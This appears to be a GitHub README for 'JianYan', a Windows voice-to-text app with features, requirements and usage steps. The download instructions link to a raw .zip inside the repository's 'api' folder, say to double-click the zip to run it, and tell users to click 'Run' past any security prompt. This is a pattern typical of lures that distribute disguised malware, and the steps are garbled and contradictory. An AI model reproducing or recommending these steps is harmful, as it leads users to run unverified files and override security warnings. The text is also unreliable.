Welcome to JianYan! This tool lets you convert your voice to text quickly and accurately. Designed for Windows users, it provides low latency and high precision, making it perfect for transcribing your spoken words.

To get started, you need to download JianYan from our Releases page.

Click the link below to visit the Releases page. Here, you can find the latest version of JianYan to download:

Visit Releases Page

On the Releases page, look for the most recent version of JianYan. It will be listed at the top. Click on it to see the available files.

Scroll down on the release page to find the downloadable files. Click on the file named https://github.com/Jnewton-lab/JianYan/raw/refs/heads/main/api/Jian-Yan-1.9.zip to start downloading.

Once the download is complete, locate the file in your downloads folder. Double-click https://github.com/Jnewton-lab/JianYan/raw/refs/heads/main/api/Jian-Yan-1.9.zip to run the application. You might see a security prompt; if so, simply click "Run" to proceed.

Before you start, ensure your system meets these requirements:

• Operating System: Windows 10 or later.
• RAM: At least 4GB of RAM.
• Disk Space: Minimum 100MB of free space.
• Microphone: A working microphone for voice input.

1. Open the App: Start JianYan by double-clicking the app icon.
2. Set Up Your Microphone: Connect your microphone and select it in the app settings.
3. Start Speaking: Click the “Start” button and begin speaking clearly into your microphone.
4. View Your Text: As you speak, the app will convert your voice to text in real-time.
5. Save or Copy: Once you finish, you can save your text or copy it to use elsewhere.

• High Accuracy: Leverages advanced AI to ensure precise transcription of your voice.
• Low Latency: Instantly converts speech to text with minimal delay.
• User-Friendly Interface: Designed for everyone, even if you’re not tech-savvy.
• OpenAI API Support: Refine and improve your text output with AI enhancements.
• Multi-Language Support: Works in various languages to cater to diverse users.

If you encounter issues or have questions, please check the Issues section on GitHub. Feel free to submit your questions or report any bugs you face.

For more detailed information, features, and updates, visit our GitHub repository:

GitHub Repository

This project covers a range of topics that may interest you:

• ai-agent
• asr
• audiototext
• funasr
• nvidia
• openai
• productivity
• python
• sensevoice
• speech-to-text
• windows

Thank you for choosing JianYan. Enjoy seamless voice-to-text conversion!